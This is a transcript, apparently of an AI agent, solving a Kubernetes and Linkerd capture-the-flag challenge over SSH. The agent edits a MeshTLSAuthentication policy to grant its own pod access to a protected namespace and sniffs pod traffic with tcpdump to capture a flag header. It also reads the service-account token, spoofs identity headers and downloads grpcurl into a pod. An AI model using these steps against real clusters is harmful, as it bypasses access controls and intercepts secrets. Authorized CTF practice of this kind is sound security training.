427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1 
427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== SUPERSECRET FROM DEBUG ==='
[?2004l
=== SUPERSECRET FROM DEBUG ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -s http://supersecret.supersecret.svc.cluster.local:80
080 2>&1
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== RECEIVER FROM DEBUG ==='
[?2004l
=== RECEIVER FROM DEBUG ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -s http://localhost:8080 2>&1
[?2004l
Request successfully received.
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== MESHTLSAUTH ==='
[?2004l
=== MESHTLSAUTH ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get meshtlsauthentications -n supersecret 
 -o yaml 2>&1
[?2004l
apiVersion: v1
items:
- apiVersion: policy.linkerd.io/v1alpha1
  kind: MeshTLSAuthentication
  metadata:
    creationTimestamp: "2026-03-25T10:50:42Z"
    generation: 1
    name: supersecret
    namespace: supersecret
    resourceVersion: "1468"
    uid: e6030da5-485d-4b0f-bb37-cb6fbde49d1b
  spec:
    identities:
    - default.supersecret.serviceaccount.identity.linkerd.cluster.local
kind: List
metadata:
  resourceVersion: ""
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== AUTHZ POLICIES SUPERSECRET ==='
[?2004l
=== AUTHZ POLICIES SUPERSECRET ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get authorizationpolicies -n supersecret -
-o yaml 2>&1
[?2004l
apiVersion: v1
items: []
kind: List
metadata:
  resourceVersion: ""
Error from server (Forbidden): authorizationpolicies.policy.linkerd.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "authorizationpolicies" in API group "policy.linkerd.io" in the namespace "supersecret"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get servers -n supersecret -o yaml 2>&1
[?2004l
apiVersion: v1
items: []
kind: List
metadata:
  resourceVersion: ""
Error from server (Forbidden): servers.policy.linkerd.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "servers" in API group "policy.linkerd.io" in the namespace "supersecret"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 1
Connection to 35.179.133.134 closed.
Thinking

The MeshTLSAuthentication in supersecret only allows default.supersecret identity. I can UPDATE it to add the receiver pod's identity and access the supersecret service!

$ Bash
Update MeshTLSAuthentication to add receiver identity, then access supersecret
{
  cat << 'CMDS'
cat << 'EOF' | kubectl apply -f -
apiVersion: policy.linkerd.io/v1alpha1
kind: MeshTLSAuthentication
metadata:
  name: supersecret
  namespace: supersecret
spec:
  identities:
  - default.supersecret.serviceaccount.identity.linkerd.cluster.local
  - default.production.serviceaccount.identity.linkerd.cluster.local
EOF
echo '=== NOW TRY SUPERSECRET ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://supersecret.supersecret.svc.cluster.local:8080 2>&1
echo '=== TRY BACKEND ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1
exit
CMDS
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -30
[?2004l
[?2004h>   namespace: supersecret
[?2004l
[?2004h> spec:
[?2004l
[?2004h>   identities:
[?2004l
[?2004h>   - default.supersecret.serviceaccount.identity.linkerd.cluster.local
[?2004l
[?2004h>   - default.production.serviceaccount.identity.linkerd.cluster.local
[?2004l
[?2004h> EOF
[?2004l
Warning: resource meshtlsauthentications/supersecret is missing the kubectl.kubernetes.io/last-applied-configuration annotation which is required by kubectl apply. kubectl apply should only be used on resources created declaratively by either kubectl create --save-config or kubectl apply. The missing annotation will be patched automatically.
meshtlsauthentication.policy.linkerd.io/supersecret configured
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== NOW TRY SUPERSECRET ==='
[?2004l
=== NOW TRY SUPERSECRET ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -s http://supersecret.supersecret.svc.cluster.local:80
080 2>&1
[?2004l
<!DOCTYPE html>
<html>
<head>
</head>
<body>
    <pre>
    Target Acquired: flag_ctf{not_so_supersecret_anymore}
    Outstanding work breaching the <code>supersecret</code> namespace. But don't drop your shell just yet—you are already sitting right on top of your final objective.
    A highly classified payload hits this pod every 5 seconds, but the application itself won't tell you anything.
    Take a closer look at the company inside the "receiver" deployment pod. It turns out one of the roommates has a pre-installed tool with a real talent for "sniffing" and dumping TCP traffic.
    </pre>
</body>
</html>
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== TRY BACKEND ==='
[?2004l
=== TRY BACKEND ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1 
427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.

FLAG FOUND: flag_ctf{not_so_supersecret_anymore}

This was from the supersecret service, accessed by modifying the MeshTLSAuthentication to add the receiver pod's identity. The response also gives us a hint for the next flag: there's a payload hitting the receiver pod every 5 seconds, and we need to use tcpdump (the "sniffing" tool pre-installed in the debug-tools container) to capture it.

$ Bash
Tcpdump on receiver pod to capture the classified payload
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- tcpdump -A -i any -c 50 port 8080 2>&1 | head -100"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -80
11:27:39.325554 lo    In  IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.44994: Flags [.], ack 209, win 510, options [nop,nop,TS val 256055734 ecr 256055734], length 0
E..4..@.@.~...T...T....../.....9....*~.....
.C...C..
11:27:39.325967 lo    In  IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.44994: Flags [P.], seq 1:95, ack 209, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 94: HTTP: HTTP/1.0 200 OK
E.....@.@.~-..T...T....../.....9....*......
.C...C..HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.14.3
Date: Wed, 25 Mar 2026 11:27:39 GMT


11:27:39.325981 lo    In  IP receiver-794df886d7-8f427.44994 > receiver-794df886d7-8f427.http-alt: Flags [.], ack 95, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 0
E..4r.@[email protected]./......*~.....
.C...C..
11:27:39.326225 lo    In  IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.44994: Flags [P.], seq 95:126, ack 209, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 31: HTTP
E..S..@.@.~k..T...T....../.....9....*......
.C...C..Request successfully received.

11:27:39.326250 lo    In  IP receiver-794df886d7-8f427.44994 > receiver-794df886d7-8f427.http-alt: Flags [.], ack 126, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 0
E..4r.@[email protected]./.<....*~.....
.C...C..
11:27:39.326292 lo    In  IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.44994: Flags [F.], seq 126, ack 209, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 0
E..4..@.@.~...T...T....../.<...9....*~.....
.C...C..
11:27:39.326371 lo    In  IP receiver-794df886d7-8f427.44994 > receiver-794df886d7-8f427.http-alt: Flags [F.], seq 209, ack 127, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 0
E..4r.@[email protected]./.=....*~.....
.C...C..
11:27:39.326389 lo    In  IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.44994: Flags [.], ack 210, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 0
E..4..@.@.~...T...T....../.=...:....*~.....
.C...C..
11:27:44.345641 lo    In  IP receiver-794df886d7-8f427.45000 > receiver-794df886d7-8f427.http-alt: Flags [S], seq 3369869820, win 65495, options [mss 65495,sackOK,TS val 256060754 ecr 0,nop,wscale 7], length 0
E..<6b@[email protected].......!.........*..........
.C-R........
11:27:44.345652 lo    In  IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.45000: Flags [S.], seq 796882430, ack 3369869821, win 65483, options [mss 65495,sackOK,TS val 256060754 ecr 256060754,nop,wscale 7], length 0
E..<..@[email protected]...../.u...!.....*..........
.C-R.C-R....
11:27:44.345662 lo    In  IP receiver-794df886d7-8f427.45000 > receiver-794df886d7-8f427.http-alt: Flags [.], ack 1, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 0
E..46c@.@..	..T...T.......!./.u.....*~.....
.C-R.C-R
11:27:44.345767 lo    In  IP receiver-794df886d7-8f427.45000 > receiver-794df886d7-8f427.http-alt: Flags [P.], seq 1:209, ack 1, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 208: HTTP: GET / HTTP/1.1
E...6d@[email protected].......!./.u.....+N.....
.C-R.C-RGET / HTTP/1.1
host: receiver.production:8080
user-agent: curl/8.14.1
accept: */*
x-flag: flag_ctf{caught_in_the_wire}
l5d-client-id: default.supersecret.serviceaccount.identity.linkerd.cluster.local


11:27:44.345775 lo    In  IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.45000: Flags [.], ack 209, win 510, options [nop,nop,TS val 256060754 ecr 256060754], length 0
E..4..@[email protected]...../.u...".....*~.....
.C-R.C-R
11:27:44.346207 lo    In  IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.45000: Flags [P.], seq 1:95, ack 209, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 94: HTTP: HTTP/1.0 200 OK
E.....@[email protected]...../.u...".....*......
.C-R.C-RHTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.14.3
Date: Wed, 25 Mar 2026 11:27:44 GMT


11:27:44.346229 lo    In  IP receiver-794df886d7-8f427.45000 > receiver-794df886d7-8f427.http-alt: Flags [.], ack 95, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 0
E..46e@[email protected]......."./.v]....*~.....
.C-R.C-R
11:27:44.346247 lo    In  IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.45000: Flags [P.], seq 95:126, ack 209, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 31: HTTP
E..S..@[email protected]...../.v]..".....*......
.C-R.C-RRequest successfully received.

11:27:44.346247 lo    In  IP receiver-794df886d7-8f427.45000 > receiver-794df886d7-8f427.http-alt: Flags [.], ack 126, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 0
E..46f@[email protected]......."./.v|....*~.....
.C-R.C-R
11:27:44.346276 lo    In  IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.45000: Flags [F.], seq 126, ack 209, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 0
E..4..@[email protected]...../.v|..".....*~.....
.C-R.C-R
11:27:44.346464 lo    In  IP receiver-794df886d7-8f427.45000 > receiver-794df886d7-8f427.http-alt: Flags [F.], seq 209, ack 127, win 512, options [nop,nop,TS val 256060755 ecr 256060754], length 0
E..46g@[email protected]......."./.v}....*~.....
.C-S.C-R
11:27:44.346480 lo    In  IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.45000: Flags [.], ack 210, win 512, options [nop,nop,TS val 256060755 ecr 256060755], length 0
E..4..@[email protected]...../.v}..".....*~.....
.C-S.C-S
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.

FLAG FOUND: flag_ctf{caught_in_the_wire}

Captured via tcpdump! The supersecret service sends a request every 5 seconds to the receiver with the flag in the x-flag HTTP header:

GET / HTTP/1.1
host: receiver.production:8080
x-flag: flag_ctf{caught_in_the_wire}
l5d-client-id: default.supersecret.serviceaccount.identity.linkerd.cluster.local

Now let me check - we still need Flag 1 from the gateway. Let me also check if the backend service has anything now that we have more context.

$ Bash
Check backend service and gateway from different contexts
{
  echo "echo '=== BACKEND FROM DEBUG VERBOSE ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sv http://backend.backend.svc.cluster.local:8080 2>&1
echo '=== BACKEND FROM JUMPPOD ==='
curl -s http://10.104.138.143:8080 2>&1
echo '=== GATEWAY FROM DEBUG WITH --connect-to ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -svk --http1.1 https://10.111.253.191 2>&1 | tail -10"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -40
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== BACKEND FROM DEBUG VERBOSE ==='
[?2004l
=== BACKEND FROM DEBUG VERBOSE ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -sv http://backend.backend.svc.cluster.local:8080 2>&1
1
[?2004l
* Host backend.backend.svc.cluster.local:8080 was resolved.
* IPv6: (none)
* IPv4: 10.104.138.143
*   Trying 10.104.138.143:8080...
* Connected to backend.backend.svc.cluster.local (10.104.138.143) port 8080
* using HTTP/1.x
> GET / HTTP/1.1

> Host: backend.backend.svc.cluster.local:8080

> User-Agent: curl/8.14.1

> Accept: */*

> 

* Request completely sent off
< HTTP/1.1 403 Forbidden

< date: Wed, 25 Mar 2026 11:28:06 GMT

< content-length: 0

< 

* Connection #0 to host backend.backend.svc.cluster.local left intact
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== BACKEND FROM JUMPPOD ==='
[?2004l
=== BACKEND FROM JUMPPOD ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -s http://10.104.138.143:8080 2>&1
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== GATEWAY FROM DEBUG WITH --connect-to ===
='
[?2004l
=== GATEWAY FROM DEBUG WITH --connect-to ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -svk --http1.1 https://10.111.253.191 2>&1 | tail -10 
427 -c debug-tools -- curl -svk --http1.1 https://10.111.253.191 2>&1 | tail -10
[?2004l
> User-Agent: curl/8.14.1

> Accept: */*

> 

* Request completely sent off
{ [5 bytes data]
* TLSv1.3 (IN), TLS alert, unknown (628):
{ [2 bytes data]
* OpenSSL SSL_read: OpenSSL/3.5.5: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0
* closing connection #0
command terminated with exit code 56
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking

Found 2 flags. Let me report those and continue working on the gateway flag. The backend returns 403. Let me try to get the Linkerd proxy's identity cert from admin endpoints.

Flags found so far: - flag_ctf{not_so_supersecret_anymore} (supersecret service, via MeshTLSAuthentication modification) - flag_ctf{caught_in_the_wire} (tcpdump capture, x-flag header in periodic request from supersecret)

Now let me try to extract the Linkerd proxy's identity cert for the gateway.

$ Bash
Probe Linkerd proxy admin API endpoints for identity info
{
  echo "echo '=== PROXY ADMIN ENDPOINTS ==='"
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'for ep in / /ready /live /metrics /proxy-log-level /shutdown /identity /env /config /certificates /certs /tls /admin; do echo -n \"EP \$ep: \"; curl -s -o /dev/null -w \"%{http_code}\" http://localhost:4191\$ep; echo; done' 2>&1"
  echo "echo '=== CHECK /env ==='"
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | head -30"
  echo "echo '=== PROXY OUTBOUND DEBUG ==='"
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect 10.111.253.191:443 -showcerts 2>&1 | grep -E \"(subject|issuer|BEGIN|END)\"'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -40
echo '=== PROXY OUTBOUND DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect 10.111.253.191:443 -showcerts 2>&1 | grep -E "(subject|issuer|BEGIN|END)"'
exit
echo '=== PROXY ADMIN ENDPOINTS ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'for ep in / /ready /live /metrics /proxy-log-level /shutdown /identity /env /config /certificates /certs /tls /admin; do echo -n "EP $ep: "; curl -s -o /dev/null -w "%{http_code}" http://localhost:4191$ep; echo; done' 2>&1
echo '=== CHECK /env ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | head -30
echo '=== PROXY OUTBOUND DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect 10.111.253.191:443 -showcerts 2>&1 | grep -E "(subject|issuer|BEGIN|END)"'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== PROXY ADMIN ENDPOINTS ==='
[?2004l
=== PROXY ADMIN ENDPOINTS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'for ep in / /ready /live /metrics /proxy-log-level /
/shutdown /identity /env /config /certificates /certs /tls /admin; do echo -n "EP
P $ep: "; curl -s -o /dev/null -w "%{http_code}" http://localhost:4191$ep; echo; 
 done' 2>&1
[?2004l
EP /: 404
EP /ready: 200
EP /live: 200
EP /metrics: 200
EP /proxy-log-level: 200
EP /shutdown: 405
EP /identity: 404
EP /env: 404
EP /config: 404
EP /certificates: 404
EP /certs: 404
EP /tls: 404
EP /admin: 404
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== CHECK /env ==='
[?2004l
=== CHECK /env ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | head -30
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== PROXY OUTBOUND DEBUG ==='
[?2004l
=== PROXY OUTBOUND DEBUG ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'echo | openssl s_client -connect 10.111.253.191:443 
 -showcerts 2>&1 | grep -E "(subject|issuer|BEGIN|END)"'
[?2004l
verify error:num=20:unable to get local issuer certificate
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
subject=CN=gateway.default.svc
issuer=O=Linkerd-CTF, CN=Linkerd-CTF
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Try backend service with different paths and headers
{
  echo "kubectl auth can-i --list -n backend 2>&1 | head -10"
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sv http://backend.backend.svc.cluster.local:8080/flag 2>&1 | tail -10"
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sv -H 'x-flag: flag_ctf{caught_in_the_wire}' http://backend.backend.svc.cluster.local:8080 2>&1 | tail -10"
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sv -H 'l5d-client-id: default.supersecret.serviceaccount.identity.linkerd.cluster.local' http://backend.backend.svc.cluster.local:8080 2>&1 | tail -10"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -40
clienttrafficpolicies.gateway.envoyproxy.io     []                                     []               [get watch list]
envoyproxies.gateway.envoyproxy.io              []                                     []               [get watch list]
gateways.gateway.networking.k8s.io              []                                     []               [get watch list]
                                                [/.well-known/openid-configuration/]   []               [get]
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -sv http://backend.backend.svc.cluster.local:8080/flag
g 2>&1 | tail -10
[?2004l
> Host: backend.backend.svc.cluster.local:8080

> User-Agent: curl/8.14.1

> Accept: */*

> 

* Request completely sent off
< HTTP/1.1 403 Forbidden

< date: Wed, 25 Mar 2026 11:29:07 GMT

< content-length: 0

< 

* Connection #0 to host backend.backend.svc.cluster.local left intact
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -sv -H 'x-flag: flag_ctf{caught_in_the_wire}' http://b
backend.backend.svc.cluster.local:8080 2>&1 | tail -10
[?2004l
> User-Agent: curl/8.14.1

> Accept: */*

> x-flag: flag_ctf{caught_in_the_wire}

> 

* Request completely sent off
< HTTP/1.1 403 Forbidden

< date: Wed, 25 Mar 2026 11:29:07 GMT

< content-length: 0

< 

* Connection #0 to host backend.backend.svc.cluster.local left intact
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -sv -H 'l5d-client-id: default.supersecret.serviceacco
ount.identity.linkerd.cluster.local' http://backend.backend.svc.cluster.local:808
80 2>&1 | tail -10
[?2004l
> User-Agent: curl/8.14.1

> Accept: */*

> l5d-client-id: default.supersecret.serviceaccount.identity.linkerd.cluster.local

> 

* Request completely sent off
< HTTP/1.1 403 Forbidden

< date: Wed, 25 Mar 2026 11:29:07 GMT

< content-length: 0

< 

* Connection #0 to host backend.backend.svc.cluster.local left intact
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Install grpcurl and try to call Linkerd identity service
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "# Generate a new ECDSA key pair"
  echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>&1"
  echo "# Create CSR"
  echo "openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.pem -subj \"/CN=LinkerdClientUser\" 2>&1"
  echo "# Get the SA token"
  echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
  echo "# Try calling Linkerd identity service directly with curl"
  echo "curl -svk https://linkerd-identity.linkerd.svc.cluster.local:8080 2>&1 | tail -5"
  echo "# Download grpcurl"
  echo "curl -sL https://github.com/fullstorydev/grpcurl/releases/download/v1.9.3/grpcurl_1.9.3_linux_x86_64.tar.gz 2>/dev/null | tar xz -C /tmp/ grpcurl 2>&1 && echo grpcurl_installed || echo grpcurl_failed"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -20
[?2004l
[?2004h> # Generate a new ECDSA key pair
[?2004l
[?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>&1
[?2004l
[?2004h> # Create CSR
[?2004l
[?2004h> openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.pem -subj "/CN=LinkerdClie
entUser" 2>&1
[?2004l
[?2004h> # Get the SA token
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> # Try calling Linkerd identity service directly with curl
[?2004l
[?2004h> curl -svk https://linkerd-identity.linkerd.svc.cluster.local:8080 2>&1 | tail -
-5
[?2004l
[?2004h> # Download grpcurl
[?2004l
[?2004h> curl -sL https://github.com/fullstorydev/grpcurl/releases/download/v1.9.3/grpcu
url_1.9.3_linux_x86_64.tar.gz 2>/dev/null | tar xz -C /tmp/ grpcurl 2>&1 && echo 
 grpcurl_installed || echo grpcurl_failed
[?2004l
[?2004h> '
[?2004l
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [1597 bytes data]
* TLS connect error: error:0A00010B:SSL routines::wrong version number
* closing connection #0
grpcurl_installed
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking

grpcurl installed! Let me use it to call the Linkerd Identity service.

$ Bash
List gRPC services on Linkerd identity service
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "/tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 list 2>&1"
  echo "echo === "
  echo "/tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 describe io.linkerd.proxy.identity.Identity 2>&1"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '
/tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 list 2>&1
echo === 
/tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 describe io.linkerd.proxy.identity.Identity 2>&1
'
exit
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '
/tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 list 2>&1
echo === 
/tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 describe io.linkerd.proxy.identity.Identity 2>&1
'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c '
[?2004l
[?2004h> /tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 list 2>
>&1
[?2004l
[?2004h> echo === 
[?2004l
[?2004h> /tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 describ
be io.linkerd.proxy.identity.Identity 2>&1
[?2004l
[?2004h> '
[?2004l
Failed to list services: rpc error: code = Internal desc = server closed the stream without sending trailers
===
Failed to resolve symbol "io.linkerd.proxy.identity.Identity": rpc error: code = Internal desc = server closed the stream without sending trailers
command terminated with exit code 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
